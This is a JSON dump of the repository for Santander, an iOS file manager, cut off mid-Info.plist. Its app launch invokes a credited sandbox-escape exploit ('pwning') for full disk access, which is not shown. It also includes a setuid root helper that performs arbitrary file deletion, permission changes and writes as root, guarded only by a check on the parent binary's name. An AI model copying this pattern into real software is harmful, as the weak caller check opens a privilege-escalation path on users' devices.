[
  {
    "path": ".github/workflows/build.yml",
    "content": "name: CI\n\non:\n  push:\n    branches:\n      - main\n      - serena/root-helper-proper\n    paths-ignore:\n      - '**/*.md'\n      - 'README.md'\n      - '.gitignore'\n  pull_request:\n    branches:\n      - main\n    paths-ignore:\n      - '**/*.md'\n      - 'README.md'\n      - '.gitignore'\n  workflow_dispatch:\n\njobs:\n  build:\n    name: Build\n    runs-on: macos-12\n\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v3\n\n      - name: Set up Procursus\n        uses: beerpiss/procursus-action@v2\n        with:\n          packages: ldid\n          cache: true\n          cache-path: ~/__cache\n\n      - name: Select Xcode version (14.0)\n        run: |\n          sudo xcode-select --switch /Applications/Xcode_14.0.app\n\n      - name: Build IPA\n        run: |\n          make\n\n      - name: Permasign IPA\n        uses: permasigner/action@v1.1.0\n        with:\n          input: \"${{ github.workspace }}/build/Santander.ipa\"\n          output: \"${{ github.workspace }}/build/Santander.deb\"\n          entitlements: \"${{ github.workspace }}/entitlements-TS.plist\"\n          args: \"--author Serena\"\n\n      - name: Upload IPA\n        uses: actions/upload-artifact@v3.1.0\n        with:\n          name: SantanderJailed\n          path: ${{ github.workspace }}/build/SantanderJailed.ipa\n\n      - name: Upload IPA for TrollStore\n        uses: actions/upload-artifact@v3.1.0\n        with:\n          name: SantanderTrollStore\n          path: ${{ github.workspace }}/build/SantanderTrollStore.tipa\n\n      - name: Upload Permasigned deb\n        uses: actions/upload-artifact@v3.1.0\n        with:\n          name: SantanderJailbroken\n          path: ${{ github.workspace }}/build/Santander.deb\n"
  },
  {
    "path": ".gitignore",
    "content": "Santander.xcodeproj/xcuserdata/*\nSantander.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved\nSantander.xcodeproj/project.xcworkspace/xcuserdata/*\n.DS_Store\nbuild/\n"
  },
  {
    "path": "LICENSE.md",
    "content": "MIT License\n\nCopyright (c) 2022 Serena\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Makefile",
    "content": "# Shamelessly stolen from https://github.com/elihwyma/Pogo/blob/main/Makefile\nTARGET_CODESIGN = $(shell which ldid)\n\nAPP_TMP         = $(TMPDIR)/santander\nAPP_STAGE_DIR   = $(APP_TMP)/stage\nAPP_APP_DIR \t= $(APP_TMP)/Build/Products/Release-iphoneos/Santander.app\nAPP_HELPER_PATH = $(APP_TMP)/Build/Products/Release-iphoneos/RootHelper\n\npackage:\n\t@set -o pipefail; \\\n\t\txcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme Santander -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \\\n\t\tCODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO\n\t@set -o pipefail; \\\n\t\txcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme RootHelper -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \\\n\t\tCODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO\n\t@rm -rf Payload\n\t\n\t@rm -rf $(APP_STAGE_DIR)/\n\t@mkdir -p $(APP_STAGE_DIR)/Payload $(APP_STAGE_DIR)/JailedPayload $(APP_STAGE_DIR)/TSPayload\n\t@mv $(APP_APP_DIR) $(APP_STAGE_DIR)/Payload/Santander.app\n\t\n\t@cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/JailedPayload/SantanderJailed.app\n\t\n\t@mv $(APP_HELPER_PATH) $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper\n\t@$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/\n\t@$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper\n\t\n\t@rm -rf $(APP_STAGE_DIR)/Payload/Santander.app/_CodeSignature\n\t\n\t@cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/TSPayload/SantanderTS.app\n\t@$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/\n\t@$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper\n\n\tchmod 6755 $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper\n\tchmod 6755 $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper\n\t\n\t@ln -sf $(APP_STAGE_DIR)/Payload Payload\n\t@ln -sf $(APP_STAGE_DIR)/JailedPayload JailedPayload\n\t@ln -sf $(APP_STAGE_DIR)/TSPayload TSPayload\n\t\n\t@rm -rf build\n\t@mkdir -p build\n\n\t@zip -r9 build/Santander.ipa Payload\n\t@rm -rf Payload\n\t@mv TSPayload Payload\n\t\n\t@zip -r9 build/SantanderTrollStore.tipa Payload\n\t@rm -rf Payload\n\t@mv JailedPayload Payload\n\t\n\t@zip -r9 build/SantanderJailed.ipa Payload\n\t@rm -rf Payload\n"
  },
  {
    "path": "README.md",
    "content": "# Santander\nA new, enhanced File Manager for iOS devices with MDC support\n\n![Screenshot 2022-08-04 at 3 26 56 PM](https://user-images.githubusercontent.com/48022799/182846725-84790bea-e9ba-45a3-a2c2-ee6f2f7fdd4e.png)\n\nSantander aims to enhance the experience of a file manager on an iOS device, using modern and familiar UI alongside new APIs.\n\n# Credits\nhttps://gist.github.com/zhuowei/bc7a90bdc520556fda84d33e0583eb3e https://github.com/ginsudev/WDBFontOverwrite/blob/main/WDBFontOverwrite/vm_unaligned_copy_switch_race.c - zhuowei\n\nhttps://bugs.chromium.org/p/project-zero/issues/detail?id=2361 - Ian Beer\n\nhttps://gist.github.com/Avangelista/bf2fa5319f8920fcc09ea061ecb56cf3 - Avangelista\n\nhttps://github.com/SerenaKit/Santander - Serena :3\n\n# Notice\nThe project is still in beta, and there still quite a lot of bugs to fix & enhancements to make.\n"
  },
  {
    "path": "RootHelper/Commands.swift",
    "content": "//\n//  Commands.swift\n//  RootHelper\n//\n//  Created by Serena on 10/11/2022\n//\n\nimport Foundation\nimport ArgumentParser\nimport CompressionWrapper\nimport os\nimport AssetCatalogWrapper\n\nstruct Delete: ParsableCommand {\n    @Argument(help: \"The paths to delete.\")\n    var paths: [URL]\n    \n    func run() throws {\n        for path in paths {\n            try FileManager.default.removeItem(at: path)\n        }\n    }\n}\n\nstruct SetOwnerOrGroup: ParsableCommand {\n    @Argument(help: \"The path to set the owner and/or group for.\")\n    var path: URL\n    \n    @Option(help: \"The name of the group to set.\")\n    var groupName: String?\n    \n    @Option(help: \"The name of the owner to set for this path.\")\n    var ownerName: String?\n    \n    func run() throws {\n        if let groupName = groupName {\n            try FileManager.default.setAttributes([.groupOwnerAccountName: groupName], ofItemAtPath: path.path)\n        }\n        \n        if let ownerName = ownerName {\n            try FileManager.default.setAttributes([.ownerAccountName: ownerName], ofItemAtPath: path.path)\n        }\n    }\n}\n\nstruct Create: ParsableCommand {\n    @Option(help: \"The directories to create.\")\n    var directories: [URL] = []\n    \n    @Option(help: \"The files to create\")\n    var files: [URL] = []\n    \n    func run() throws {\n        for dir in directories {\n            try FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true)\n        }\n        \n        for file in files {\n            // mode a: create if doesn't exist\n            let fPtr = try file.withUnsafeFileSystemRepresentation { cPathPointer in\n                guard let cPathPointer, let fPtr = fopen(cPathPointer, \"a\") else {\n                    throw StringError(\"Failed to create file \\(file): \\(String(cString: strerror(errno)))\")\n                }\n                \n                return fPtr\n            }\n            \n            fclose(fPtr)\n        }\n    }\n}\n\nstruct Move: ParsableCommand {\n    @Argument(help: \"The paths to move.\")\n    var paths: [URL]\n    \n    @Option(help: \"The destination directory to move the paths into\")\n    var destination: URL\n    \n    func run() throws {\n        for path in paths {\n            try FileManager.default.moveItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent))\n        }\n    }\n}\n\nstruct Copy: ParsableCommand {\n    @Argument(help: \"The paths to copy\")\n    var paths: [URL]\n    \n    @Option(help: \"The destination to copy the paths to.\")\n    var destination: URL\n    \n    func run() throws {\n        for path in paths {\n            try FileManager.default.copyItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent))\n        }\n    }\n}\n\nstruct Rename: ParsableCommand {\n    @Argument(help: \"The path to rename.\")\n    var path: URL\n    \n    @Argument(help: \"The new path.\")\n    var destination: URL\n    \n    func run() throws {\n        try FileManager.default.moveItem(at: path, to: destination)\n    }\n}\n\nstruct Link: ParsableCommand {\n    @Argument(help: \"The paths to link.\")\n    var paths: [URL]\n    \n    @Option(help: \"The destination\")\n    var destination: URL\n    \n    func run() throws {\n        for path in paths {\n            try FileManager.default.createSymbolicLink(at: destination.appendingPathComponent(path.lastPathComponent), withDestinationURL: path)\n        }\n    }\n}\n\nstruct SetPermissions: ParsableCommand {\n    @Argument(help: \"The path to set the permisions for.\")\n    var path: URL\n    \n    @Argument(help: \"The permissions to set.\")\n    var permissions: Int\n    \n    func run() throws {\n        try FileManager.default.setAttributes([.posixPermissions: permissions], ofItemAtPath: path.path)\n    }\n}\n\nstruct WriteData: ParsableCommand {\n    @Argument(help: \"The path to write the data into.\")\n    var path: URL\n    \n    func run() throws {\n        NSLog(\"availableData: \\(FileHandle.standardInput.availableData)\")\n    }\n}\n\nstruct WriteString: ParsableCommand {\n    @Argument(help: \"The string to write.\")\n    var string: String\n    \n    @Option(help: \"The path to write the string to.\")\n    var path: URL\n    \n    func run() throws {\n        try string.write(to: path, atomically: true, encoding: .utf8)\n    }\n}\n\nstruct Compress: ParsableCommand {\n    @Option(help: \"The paths to compress\")\n    var paths: [URL]\n    \n    @Option(help: \"The destination of the compressed paths\")\n    var destination: URL\n    \n    @Option(help: \"The compression format to use.\")\n    var format: Compression.FormatType = .zip\n    \n    func run() throws {\n        try Compression.shared.compress(paths: paths, outputPath: destination, format: format)\n    }\n}\n\nstruct Decompress: ParsableCommand {\n    @Argument(help: \"The path to decompress.\")\n    var path: URL\n    \n    @Option(help: \"The destination path.\")\n    var destination: URL\n    \n    func run() throws {\n        try Compression.shared.extract(path: path, to: destination)\n    }\n}\n\nstruct ExtractCatalog: ParsableCommand {\n    @Argument(help: \"The path of the asset catalog file to extract.\")\n    var path: URL\n    \n    @Option(help: \"The destination\")\n    var destination: URL\n    \n    func run() throws {\n        let (_, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: path)\n        let codable = renditions.flatMap(\\.renditions).toCodable()\n        \n        try FileManager.default.createDirectory(at: destination, withIntermediateDirectories: true)\n        var failedItems: [String: String] = [:]\n        for rend in codable {\n            let newURL = destination.appendingPathComponent(rend.renditionName)\n            if let data = rend.itemData {\n                do {\n                    try data.write(to: newURL)\n                } catch {\n                    failedItems[rend.renditionName] = \"Unable to write item data to file: \\(error.localizedDescription)\"\n                }\n            }\n        }\n        \n        if !failedItems.isEmpty {\n            var message: String = \"\"\n            for (item, error) in failedItems {\n                message.append(\"\\(item): \\(error)\")\n            }\n            \n            throw StringError(message.trimmingCharacters(in: .whitespacesAndNewlines))\n        }\n    }\n}\n\nstruct GetContents: ParsableCommand {\n    @Argument(help: \"The path to get the contents of.\")\n    var path: URL\n    \n    func run() throws {\n        let contents = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil)\n        fputs(contents.map(\\.path).joined(separator: \" \"), stdout)\n    }\n}\n"
  },
  {
    "path": "RootHelper/Extensions.swift",
    "content": "//\n//  Extensions.swift\n//  RootHelper\n//\n//  Created by Serena on 10/11/2022\n//\n\t\n\nimport Foundation\nimport ArgumentParser\nimport CompressionWrapper\n\nextension URL: ExpressibleByArgument {\n    public init?(argument: String) {\n        self.init(fileURLWithPath: argument)\n    }\n}\n\n// not an extension, but useful\nstruct StringError: LocalizedError, CustomStringConvertible {\n    let description: String\n    \n    init(_ description: String) {\n        self.description = description\n    }\n    \n    var errorDescription: String? {\n        description\n    }\n}\n\nextension Compression.FormatType: ExpressibleByArgument {\n    public init?(argument: String) {\n        switch argument {\n        case \"zip\":\n            self = .zip\n        case \"tar\":\n            self = .tar\n        default:\n            return nil\n        }\n    }\n}\n"
  },
  {
    "path": "RootHelper/main.swift",
    "content": "//\n//  main.swift\n//  RootHelper\n//\n//  Created by Serena on 17/10/2022\n//\n\nimport ArgumentParser\nimport Foundation\nimport NSTask // proc_pidpath\n\n// get the parent caller, and make sure it's Santander, otherwise, gtfo\nvar buffer = [CChar](repeating: 0, count: 1024)\nproc_pidpath(getppid(), &buffer, 1024)\n\nlet path = URL(fileURLWithPath: String(cString: buffer))\n\n// We don't verify the whole path as /Applications/Santander.app/Santander, if we did that\n// then this root helper would have to be modified on forks like the TrollStore one,\n// where the .app name & path are different\n// instead, we make sure that the binary name (which should ALWAYS be 'Santander') is correct.\nguard path.lastPathComponent == \"Santander\" else {\n    fatalError(\"Incorrect parent calling, goodbye!\")\n}\n\n//NSLog(\"FileHandle.standardInput.availableData.count: \\(FileHandle.standardInput.availableData.count)\")\n\nsetuid(0)\nsetgid(0)\n\nguard getuid() == 0 else {\n    fputs(\"getuid() returned a uid that wasn't 0, in other words, we werent able to get root.\", stderr)\n    exit(-1)\n}\n\nstruct Program: ParsableCommand {\n    static let configuration: CommandConfiguration = CommandConfiguration(\n        subcommands: [\n            Create.self,\n            Delete.self,\n            \n            Move.self,\n            Copy.self,\n            Link.self,\n            Rename.self,\n            \n            SetOwnerOrGroup.self,\n            SetPermissions.self,\n            \n            Compress.self,\n            Decompress.self,\n            \n            WriteData.self,\n            WriteString.self,\n            \n            GetContents.self\n        ]\n    )\n}\n\ndo {\n    var command = try Program.parseAsRoot(nil)\n    try command.run()\n} catch {\n    fputs(error.localizedDescription, stderr)\n    exit(-1)\n}\n"
  },
  {
    "path": "Santander/AppDelegate.swift",
    "content": "//\n//  AppDelegate.swift\n//  Santander\n//\n//  Created by Serena on 21/06/2022\n//\n\t\n\nimport UIKit\n\n@main\nclass AppDelegate: UIResponder, UIApplicationDelegate {\n\n    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {\n        // Override point for customization after application launch.\n        UIApplication.shared.alert(title: \"pwning\", body: \"wait\", withButton: false)\n        grant_full_disk_access() { error in\n            UIApplication.shared.dismissAlert(animated: false)\n            UIApplication.shared.alert(title: \"pwned\", body: error?.localizedDescription ?? \"no errors while pwning\")\n        }\n        if UserPreferences.displayRecentlyBookmarked {\n            application.setShortcutItems(intoURLs: UserPreferences.bookmarks)\n        } else {\n            application.shortcutItems = []\n        }\n        \n        return true\n    }\n\n    // MARK: UISceneSession Lifecycle\n\n    func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration {\n        // Called when a new scene session is being created.\n        // Use this method to select a configuration to create the new scene with.\n        return UISceneConfiguration(name: \"Default Configuration\", sessionRole: connectingSceneSession.role)\n    }\n\n    func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>) {\n        // Called when the user discards a scene session.\n        // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.\n        // Use this method to release any resources that were specific to the discarded scenes, as they will not return.\n    }\n\n\n}\n\n"
  },
  {
    "path": "Santander/Assets.xcassets/AccentColor.colorset/Contents.json",
    "content": "{\n  \"colors\" : [\n    {\n      \"idiom\" : \"universal\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Santander/Assets.xcassets/AppIcon.appiconset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"filename\" : \"40.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"filename\" : \"60.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"filename\" : \"29.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"1x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"filename\" : \"58.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"filename\" : \"87.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"filename\" : \"80.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"filename\" : \"120.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"filename\" : \"57.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"1x\",\n      \"size\" : \"57x57\"\n    },\n    {\n      \"filename\" : \"114.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"57x57\"\n    },\n    {\n      \"filename\" : \"120.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"2x\",\n      \"size\" : \"60x60\"\n    },\n    {\n      \"filename\" : \"180.png\",\n      \"idiom\" : \"iphone\",\n      \"scale\" : \"3x\",\n      \"size\" : \"60x60\"\n    },\n    {\n      \"filename\" : \"20.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"filename\" : \"40.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"20x20\"\n    },\n    {\n      \"filename\" : \"29.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"filename\" : \"58.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"filename\" : \"40.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"filename\" : \"80.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"40x40\"\n    },\n    {\n      \"filename\" : \"50.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"50x50\"\n    },\n    {\n      \"filename\" : \"100.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"50x50\"\n    },\n    {\n      \"filename\" : \"72.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"72x72\"\n    },\n    {\n      \"filename\" : \"144.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"72x72\"\n    },\n    {\n      \"filename\" : \"76.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"1x\",\n      \"size\" : \"76x76\"\n    },\n    {\n      \"filename\" : \"152.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"76x76\"\n    },\n    {\n      \"filename\" : \"167.png\",\n      \"idiom\" : \"ipad\",\n      \"scale\" : \"2x\",\n      \"size\" : \"83.5x83.5\"\n    },\n    {\n      \"filename\" : \"1024.png\",\n      \"idiom\" : \"ios-marketing\",\n      \"scale\" : \"1x\",\n      \"size\" : \"1024x1024\"\n    },\n    {\n      \"filename\" : \"16.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"1x\",\n      \"size\" : \"16x16\"\n    },\n    {\n      \"filename\" : \"32.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"2x\",\n      \"size\" : \"16x16\"\n    },\n    {\n      \"filename\" : \"32.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"1x\",\n      \"size\" : \"32x32\"\n    },\n    {\n      \"filename\" : \"64.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"2x\",\n      \"size\" : \"32x32\"\n    },\n    {\n      \"filename\" : \"128.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"1x\",\n      \"size\" : \"128x128\"\n    },\n    {\n      \"filename\" : \"256.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"2x\",\n      \"size\" : \"128x128\"\n    },\n    {\n      \"filename\" : \"256.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"1x\",\n      \"size\" : \"256x256\"\n    },\n    {\n      \"filename\" : \"512.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"2x\",\n      \"size\" : \"256x256\"\n    },\n    {\n      \"filename\" : \"512.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"1x\",\n      \"size\" : \"512x512\"\n    },\n    {\n      \"filename\" : \"1024.png\",\n      \"idiom\" : \"mac\",\n      \"scale\" : \"2x\",\n      \"size\" : \"512x512\"\n    },\n    {\n      \"filename\" : \"48.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"notificationCenter\",\n      \"scale\" : \"2x\",\n      \"size\" : \"24x24\",\n      \"subtype\" : \"38mm\"\n    },\n    {\n      \"filename\" : \"55.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"notificationCenter\",\n      \"scale\" : \"2x\",\n      \"size\" : \"27.5x27.5\",\n      \"subtype\" : \"42mm\"\n    },\n    {\n      \"filename\" : \"58.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"companionSettings\",\n      \"scale\" : \"2x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"filename\" : \"87.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"companionSettings\",\n      \"scale\" : \"3x\",\n      \"size\" : \"29x29\"\n    },\n    {\n      \"idiom\" : \"watch\",\n      \"role\" : \"notificationCenter\",\n      \"scale\" : \"2x\",\n      \"size\" : \"33x33\",\n      \"subtype\" : \"45mm\"\n    },\n    {\n      \"filename\" : \"80.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"appLauncher\",\n      \"scale\" : \"2x\",\n      \"size\" : \"40x40\",\n      \"subtype\" : \"38mm\"\n    },\n    {\n      \"filename\" : \"88.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"appLauncher\",\n      \"scale\" : \"2x\",\n      \"size\" : \"44x44\",\n      \"subtype\" : \"40mm\"\n    },\n    {\n      \"idiom\" : \"watch\",\n      \"role\" : \"appLauncher\",\n      \"scale\" : \"2x\",\n      \"size\" : \"46x46\",\n      \"subtype\" : \"41mm\"\n    },\n    {\n      \"filename\" : \"100.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"appLauncher\",\n      \"scale\" : \"2x\",\n      \"size\" : \"50x50\",\n      \"subtype\" : \"44mm\"\n    },\n    {\n      \"idiom\" : \"watch\",\n      \"role\" : \"appLauncher\",\n      \"scale\" : \"2x\",\n      \"size\" : \"51x51\",\n      \"subtype\" : \"45mm\"\n    },\n    {\n      \"idiom\" : \"watch\",\n      \"role\" : \"appLauncher\",\n      \"scale\" : \"2x\",\n      \"size\" : \"54x54\",\n      \"subtype\" : \"49mm\"\n    },\n    {\n      \"filename\" : \"172.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"quickLook\",\n      \"scale\" : \"2x\",\n      \"size\" : \"86x86\",\n      \"subtype\" : \"38mm\"\n    },\n    {\n      \"filename\" : \"196.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"quickLook\",\n      \"scale\" : \"2x\",\n      \"size\" : \"98x98\",\n      \"subtype\" : \"42mm\"\n    },\n    {\n      \"filename\" : \"216.png\",\n      \"idiom\" : \"watch\",\n      \"role\" : \"quickLook\",\n      \"scale\" : \"2x\",\n      \"size\" : \"108x108\",\n      \"subtype\" : \"44mm\"\n    },\n    {\n      \"idiom\" : \"watch\",\n      \"role\" : \"quickLook\",\n      \"scale\" : \"2x\",\n      \"size\" : \"117x117\",\n      \"subtype\" : \"45mm\"\n    },\n    {\n      \"idiom\" : \"watch\",\n      \"role\" : \"quickLook\",\n      \"scale\" : \"2x\",\n      \"size\" : \"129x129\",\n      \"subtype\" : \"49mm\"\n    },\n    {\n      \"filename\" : \"1024.png\",\n      \"idiom\" : \"watch-marketing\",\n      \"scale\" : \"1x\",\n      \"size\" : \"1024x1024\"\n    }\n  ],\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Santander/Assets.xcassets/Contents.json",
    "content": "{\n  \"info\" : {\n    \"author\" : \"xcode\",\n    \"version\" : 1\n  }\n}\n"
  },
  {
    "path": "Santander/Base.lproj/LaunchScreen.storyboard",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3.0\" toolsVersion=\"13122.16\" targetRuntime=\"iOS.CocoaTouch\" propertyAccessControl=\"none\" useAutolayout=\"YES\" launchScreen=\"YES\" useTraitCollections=\"YES\" useSafeAreas=\"YES\" colorMatched=\"YES\" initialViewController=\"01J-lp-oVM\">\n    <dependencies>\n        <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"13104.12\"/>\n        <capability name=\"Safe area layout guides\" minToolsVersion=\"9.0\"/>\n        <capability name=\"documents saved in the Xcode 8 format\" minToolsVersion=\"8.0\"/>\n    </dependencies>\n    <scenes>\n        <!--View Controller-->\n        <scene sceneID=\"EHf-IW-A2E\">\n            <objects>\n                <viewController id=\"01J-lp-oVM\" sceneMemberID=\"viewController\">\n                    <view key=\"view\" contentMode=\"scaleToFill\" id=\"Ze5-6b-2t3\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"667\"/>\n                        <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n                        <color key=\"backgroundColor\" xcode11CocoaTouchSystemColor=\"systemBackgroundColor\" cocoaTouchSystemColor=\"whiteColor\"/>\n                        <viewLayoutGuide key=\"safeArea\" id=\"6Tk-OE-BBY\"/>\n                    </view>\n                </viewController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"iYj-Kq-Ea1\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"53\" y=\"375\"/>\n        </scene>\n    </scenes>\n</document>\n"
  },
  {
    "path": "Santander/Info.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>CFBundleDocumentTypes</key>\n\t<array>\n\t\t<dict>\n\t\t\t<key>CFBundleTypeName</key>\n\t\t\t<string>Content</string>\n\t\t\t<key>LSHandlerRank</key>\n\t\t\t<string>Default</string>\n\t\t\t<key>LSItemContentTypes</key>\n\t\t\t<array>\n\t\t\t\t<string>public.item</string>\n\t\t\t</array>\n\t\t</dict>\n\t</array>\n\t<key>CFBundleURLTypes</key>\n\t<array>\n\t\t<dict>\n\t\t\t<key>CFBundleTypeRole</key>\n\t\t\t<string>Editor</string>\n\t\t\t<key>CFBundleURLSchemes</key>\n\t\t\t<array>\n\t\t\t\t<string>santander</string>\n\t\t\t</array>\n\t\t</dict>\n\t</array>\n\t<key>TSRootBinaries</key>\n\t<array>\n\t\t<string>RootHelper</string>\n\t</array>\n\t<key>UIApplicationSceneManifest</key>\n\t<dict>\n\t\t<key>UIApplicationSupportsMultipleScenes</key>\n\t\t<false/>\n\t\t<key>UISceneConfigurations</key>\n\t\t<dict>\n\t\t\t<key>UIWindowSceneSessionRoleApplication</key>\n\t\t\t<array>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>UISceneConfigurationName</key>\n\t\t\t\t\t<string>Default Configuration</string>\n\t\t\t\t\t<key>UISceneDelegateClassName</key>\n\t\t\t\t\t<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>\n\t\t\t\t</dict>\n\t\t\t</array>\n\t\t</dict>\n\t</dict>\n\t<key>UIBackgroundModes</key>\n\t<array>\n\t\t<string>audio</string>\n\t</array>\n\t<key>UTImportedTypeDeclarations</key>\n\t<array>\n\t\t<dict>\n\t\t\t<key>UTTypeDescription</key>\n\t\t\t<string>Represents any item which can be 